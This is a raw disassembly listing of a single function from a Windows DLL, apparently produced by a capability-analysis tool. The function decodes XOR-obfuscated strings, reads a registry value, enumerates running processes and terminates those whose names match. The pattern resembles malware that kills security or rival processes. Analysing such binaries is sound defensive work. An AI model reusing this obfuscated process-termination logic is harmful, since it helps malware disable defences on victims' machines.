Function at 0x180023c80
Capabilities:
Encode data using xor
Enumerate processes
Query or enumerate registry value
Terminate process
Terminate process by name

Disassembly:
mov rax, rsp
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x6a8]
sub rsp, 0x768
movaps xmmword [rax - 0x58], xmm6
movaps xmmword [rax - 0x68], xmm7
xor r13d, r13d
mov dword [rbp + 0x6b0], r13d
mov qword [rbp + 0x6c0], r13
movups xmm0, xmmword [str.__SB_YK_gjRI_]
movups xmmword [rbp + 0x68], xmm0
movups xmm1, xmmword [0x1801824e8]
movups xmmword [rbp + 0x78], xmm1
movsd xmm0, qword [str.7__G]
movsd qword [rbp + 0x88], xmm0
movzx eax, word [0x180182500]
mov word [rbp + 0x90], ax
mov r8d, r13d
mov r12d, dword [reloc.WS2_32.dll_accept]
cmp r12d, 2
jl 0x180023e11
movdqa xmm5, xmmword [0x180186340]
movdqa xmm4, xmmword [0x1801865f0]
movdqa xmm6, xmmword [0x1801863a0]
movdqa xmm7, xmmword [0x1801864a0]
lea rcx, [rbp + 0x68]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x10
jl 0x180023d22
cmp r8d, 0x15
jge 0x180023e54
movsxd rax, r8d
lea r9, [rbp + 0x68]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x15
jl 0x180023e20
lea rax, [rbp + 0x6c0]
mov qword [rsp + 0x20], rax
mov r15d, 1
mov r9d, r15d
xor r8d, r8d
lea rdx, [rbp + 0x68]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x180023e93
mov rcx, qword [rbp + 0x6c0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x180026885
mov eax, 0x22
mov word [rbp + 0x430], ax
mov dword [rbp + 0x6b8], 0x206
movups xmm0, xmmword [str.__PWZA__]
movups xmmword [rsp + 0x40], xmm0
movzx eax, word [0x180182590]
mov ecx, 0x53
mov word [rsp + 0x40], cx
xor word [rsp + 0x42], 0x34
xor word [rsp + 0x44], 0x35
xor word [rsp + 0x46], 0x36
xor word [rsp + 0x48], 0x37
xor word [rsp + 0x4a], 0x38
xor word [rsp + 0x4c], 0x39
xor word [rsp + 0x4e], 0x3a
xor ax, 0x3b
mov word [rsp + 0x50], ax
lea rax, [rbp + 0x6b8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x432]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x40]
mov rcx, qword [rbp + 0x6c0]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, qword [rbp + 0x6c0]
test eax, eax
jne 0x180023e88
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xorps xmm0, xmm0
movups xmmword [rbp + 0xb8], xmm0
mov qword [rbp + 0xc8], r13
mov qword [rbp + 0xd0], r13
lea rax, [rbp + 0x430]
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], r13w
jne 0x180023f70
lea rdx, [rbp + 0x430]
lea rcx, [rbp + 0xb8]
call fcn.180008fd0
nop
mov r8, r15
lea rdx, [0x18013f61c]
lea rcx, [rbp + 0xb8]
call fcn.18000a800
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x110], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x120], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
mov r14d, 8
mov rdx, qword [rbp + 0xd0]
cmp rdx, 7
jbe 0x180024015
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180024010
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026b1f
call fcn.1800d95dc
mov qword [rbp + 0xc8], r13
mov qword [rbp + 0xd0], 7
mov word [rbp + 0xb8], r13w
mov esi, reloc.WS2_32.dll_WSAStartup
movups xmm7, xmmword [0x180182530]
movups xmmword [rsp + 0x40], xmm7
pextrw eax, xmm7, 7
test ax, ax
je 0x180024184
cmp r12d, 2
jl 0x18002413e
movdqa xmm4, xmmword [0x1801865f0]
movdqa xmm6, xmmword [0x1801864a0]
movdqa xmm2, xmmword [0x180186340]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1801863a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm7
xorps xmm3, xmm1
movq qword [rsp + 0x40], xmm3
movdqa xmm2, xmmword [0x180186380]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1801863a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rsp + 0x48]
xorps xmm3, xmm0
movq qword [rsp + 0x48], xmm3
jmp 0x180024184
lea r9, [rsp + 0x40]
mov r8d, r13d
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 8
jl 0x180024150
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
lea rax, [rsp + 0x40]
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x1800241a0
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x60]
call fcn.180008fd0
nop
cmp qword [rbp - 0x50], 0
je 0x18002448e
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x60]
call fcn.180007a90
nop
mov r8, rdi
lea rdx, [0x180180f78]
lea rcx, [rsp + 0x60]
call fcn.180007750
cmp rax, 0xffffffffffffffff
je 0x180024254
mov r8, rdi
lea rdx, [0x180180f74]
lea rcx, [rsp + 0x60]
call fcn.180007750
mov rbx, qword [rsp + 0x70]
cmp rbx, rax
jb 0x180026b25
mov rcx, rbx
sub rcx, rax
mov rdx, rdi
cmp rcx, rdx
cmovb rdx, rcx
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 7
cmova rcx, qword [rsp + 0x60]
lea rcx, [rcx + rax*2]
sub rbx, rdx
lea rdx, [rcx + rdx*2]
mov r8, rbx
sub r8, rax
lea r8, [r8*2 + 2]
call fcn.18010b0a0
mov qword [rsp + 0x70], rbx
lea rdx, str..exe
lea rcx, [rsp + 0x60]
call fcn.180009bf0
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
mov dword [rbp + 0x130], 0x238
lea rdx, [rbp + 0x130]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x180024447
nop word [rax + rax]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
lea rax, [rbp + 0x15c]
mov r8, rdi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x1800242c0
lea rdx, [rbp + 0x15c]
lea rcx, [rbp - 0x80]
call fcn.180008fd0
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x20]
call fcn.1800bcff0
mov rbx, rax
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x28]
call fcn.180007a90
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.1800bcff0
mov r10, qword [rax + 0x10]
cmp qword [rax + 0x18], 7
jbe 0x180024313
mov rax, qword [rax]
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 7
jbe 0x180024321
mov rbx, qword [rbx]
mov rcx, r9
cmp r10, r9
cmovb rcx, r10
test rcx, rcx
je 0x180024346
sub rbx, rax
movzx edx, word [rax + rbx]
cmp dx, word [rax]
jne 0x18002434f
add rax, 2
sub rcx, 1
jne 0x180024333
cmp r9, r10
jae 0x180024357
mov ebx, edi
jmp 0x18002435d
mov ebx, r15d
cmovb ebx, edi
jmp 0x18002435d
mov ebx, r13d
seta bl
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x18002439d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180024398
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026b2b
call fcn.1800d95dc
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], r13w
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x1800243ee
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800243e9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026b31
call fcn.1800d95dc
test ebx, ebx
je 0x18002440c
lea rdx, [rbp + 0x130]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1800242a0
jmp 0x180024447
mov r8d, dword [rbp + 0x138]
xor edx, edx
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x18002443d
mov edx, 9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x180024489
mov rcx, qword [rsp + 0x60]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180024484
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026b37
call fcn.1800d95dc
mov esi, reloc.WS2_32.dll_WSAStartup
mov rdx, qword [rbp - 0x48]
cmp rdx, 7
jbe 0x1800244ce
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800244c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026bc1
call fcn.1800d95dc
movups xmm0, xmmword [0x180182540]
movups xmmword [rsp + 0x40], xmm0
mov eax, dword [0x180182550]
mov dword [rsp + 0x50], eax
cmp word [0x180182552], 0
je 0x180024529
mov word [rsp + 0x40], si
xor word [rsp + 0x42], 0x34
xor word [rsp + 0x44], 0x35
xor word [rsp + 0x46], 0x36
xor word [rsp + 0x48], 0x37
xor word [rsp + 0x4a], 0x38
xor word [rsp + 0x4c], 0x39
xor word [rsp + 0x4e], 0x3a
xor word [rsp + 0x50], 0x3b
xor word [rsp + 0x52], 0x3c
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
lea rax, [rsp + 0x40]
mov r8, rdi
inc r8
cmp word [rax + r8*2], 0
jne 0x180024540
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x60]
call fcn.180008fd0
nop
cmp qword [rbp - 0x50], 0
je 0x18002482a
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x60]
call fcn.180007a90
nop
mov r8, rdi
lea rdx, [0x180180f78]
lea rcx, [rsp + 0x60]
call fcn.180007750
cmp rax, 0xffffffffffffffff
je 0x1800245f4
mov r8, rdi
lea rdx, [0x180180f74]
lea rcx, [rsp + 0x60]
call fcn.180007750
mov rbx, qword [rsp + 0x70]
cmp rbx, rax
jb 0x180026b3d
mov rcx, rbx
sub rcx, rax
mov rdx, rdi
cmp rcx, rdx
cmovb rdx, rcx
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 7
cmova rcx, qword [rsp + 0x60]
lea rcx, [rcx + rax*2]
sub rbx, rdx
lea rdx, [rcx + rdx*2]
mov r8, rbx
sub r8, rax
lea r8, [r8*2 + 2]
call fcn.18010b0a0
mov qword [rsp + 0x70], rbx
lea rdx, str..exe
lea rcx, [rsp + 0x60]
call fcn.180009bf0
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
mov dword [rbp + 0x130], 0x238
lea rdx, [rbp + 0x130]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1800247e7
nop word [rax + rax]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
lea rax, [rbp + 0x15c]
mov r8, rdi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x180024660
lea rdx, [rbp + 0x15c]
lea rcx, [rbp - 0x80]
call fcn.180008fd0
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x20]
call fcn.1800bcff0
mov rbx, rax
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x28]
call fcn.180007a90
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.1800bcff0
mov r10, qword [rax + 0x10]
cmp qword [rax + 0x18], 7
jbe 0x1800246b3
mov rax, qword [rax]
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 7
jbe 0x1800246c1
mov rbx, qword [rbx]
mov rcx, r9
cmp r10, r9
cmovb rcx, r10
test rcx, rcx
je 0x1800246e6
sub rbx, rax
movzx edx, word [rbx + rax]
cmp dx, word [rax]
jne 0x1800246ef
add rax, 2
sub rcx, 1
jne 0x1800246d3
cmp r9, r10
jae 0x1800246f7
mov ebx, edi
jmp 0x1800246fd
mov ebx, r15d
cmovb ebx, edi
jmp 0x1800246fd
mov ebx, r13d
seta bl
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x18002473d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180024738
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026b43
call fcn.1800d95dc
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], r13w
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x18002478e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180024789
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026b49
call fcn.1800d95dc
test ebx, ebx
je 0x1800247ac
lea rdx, [rbp + 0x130]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180024640
jmp 0x1800247e7
mov r8d, dword [rbp + 0x138]
xor edx, edx
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1800247dd
mov edx, 9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x18002482a
mov rcx, qword [rsp + 0x60]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180024824
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026b4f
call fcn.1800d95dc
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 7
jbe 0x18002486a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180024865
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026bc1
call fcn.1800d95dc
movups xmm0, xmmword [0x180182558]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [0x180182568]
movups xmmword [rbp + 0x10], xmm1
movzx eax, word [0x180182578]
mov word [rbp + 0x20], ax
mov r8d, r13d
cmp r12d, 2
jl 0x1800249af
movdqa xmm5, xmmword [0x180186340]
movdqa xmm4, xmmword [0x1801865f0]
movdqa xmm6, xmmword [0x1801863a0]
movdqa xmm7, xmmword [0x1801864a0]
lea rcx, [rbp]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x10
jl 0x1800248c0
cmp r8d, 0x11
jge 0x1800249f4
movsxd rax, r8d
lea r9, [rbp]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x11
jl 0x1800249c0
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
lea rax, [rbp]
mov r8, rdi
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x180024a10
lea rdx, [rbp]
lea rcx, [rbp - 0x60]
call fcn.180008fd0
nop
cmp qword [rbp - 0x50], 0
je 0x180024cfa
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x60]
call fcn.180007a90
nop
mov r8, rdi
lea rdx, [0x180180f78]
lea rcx, [rsp + 0x60]
call fcn.180007750
cmp rax, 0xffffffffffffffff
je 0x180024ac3
mov r8, rdi
lea rdx, [0x180180f74]
lea rcx, [rsp + 0x60]
call fcn.180007750
mov rbx, qword [rsp + 0x70]
cmp rbx, rax
jb 0x180026b55
mov rcx, rbx
sub rcx, rax
mov rdx, rdi
cmp rcx, rdx
cmovb rdx, rcx
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 7
cmova rcx, qword [rsp + 0x60]
lea rcx, [rcx + rax*2]
sub rbx, rdx
lea rdx, [rcx + rdx*2]
mov r8, rbx
sub r8, rax
lea r8, [r8*2 + 2]
call fcn.18010b0a0
mov qword [rsp + 0x70], rbx
lea rdx, str..exe
lea rcx, [rsp + 0x60]
call fcn.180009bf0
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
mov dword [rbp + 0x130], 0x238
lea rdx, [rbp + 0x130]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x180024cb7
nop dword [rax]
nop dword [rax + rax]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
lea rax, [rbp + 0x15c]
mov r8, rdi
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x180024b30
lea rdx, [rbp + 0x15c]
lea rcx, [rbp - 0x80]
call fcn.180008fd0
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x20]
call fcn.1800bcff0
mov rbx, rax
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x28]
call fcn.180007a90
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.1800bcff0
mov r10, qword [rax + 0x10]
cmp qword [rax + 0x18], 7
jbe 0x180024b83
mov rax, qword [rax]
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 7
jbe 0x180024b91
mov rbx, qword [rbx]
mov rcx, r9
cmp r10, r9
cmovb rcx, r10
test rcx, rcx
je 0x180024bb6
sub rbx, rax
movzx edx, word [rax + rbx]
cmp dx, word [rax]
jne 0x180024bbf
add rax, 2
sub rcx, 1
jne 0x180024ba3
cmp r9, r10
jae 0x180024bc7
mov ebx, edi
jmp 0x180024bcd
mov ebx, r15d
cmovb ebx, edi
jmp 0x180024bcd
mov ebx, r13d
seta bl
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x180024c0d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180024c08
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026b5b
call fcn.1800d95dc
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], r13w
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x180024c5e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180024c59
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026b61
call fcn.1800d95dc
test ebx, ebx
je 0x180024c7c
lea rdx, [rbp + 0x130]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180024b10
jmp 0x180024cb7
mov r8d, dword [rbp + 0x138]
xor edx, edx
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x180024cad
mov edx, 9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x180024cfa
mov rcx, qword [rsp + 0x60]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180024cf4
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026b67
call fcn.1800d95dc
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 7
jbe 0x180024d3a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180024d35
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180026bc1
call fcn.1800d95dc
movups xmm0, xmmword [str.__PWZOXSYQNZ2o__E]
movups xmmword [rbp + 0x68], xmm0
movups xmm1, xmmword [0x180182518]
movups xmmword [rbp + 0x78], xmm1
mov eax, dword [0x180182528]
mov dword [rbp + 0x88], eax
movzx eax, word [0x18018252c]
mov word [rbp + 0x8c], ax
mov r8d, r13d
cmp r12d, 2
jl 0x180024e8f
movdqa xmm5, xmmword [0x180186340]
movdqa xmm4, xmmword [0x1801865f0]
movdqa xmm6, xmmword [0x1801863a0]
movdqa xmm7, xmmword [0x1801864a0]
lea rcx, [rbp + 0x68]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x10
jl 0x180024da0
cmp r8d, 0x13
jge 0x180024ed4
movsxd rax, r8d
lea r9, [rbp + 0x68]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x13
jl 0x180024ea0
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
lea rax, [rbp + 0x68]
mov r8, rdi
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x180024ef0
lea rdx, [rbp + 0x68]
lea rcx, [rbp - 0x60]
call fcn.180008fd0
nop
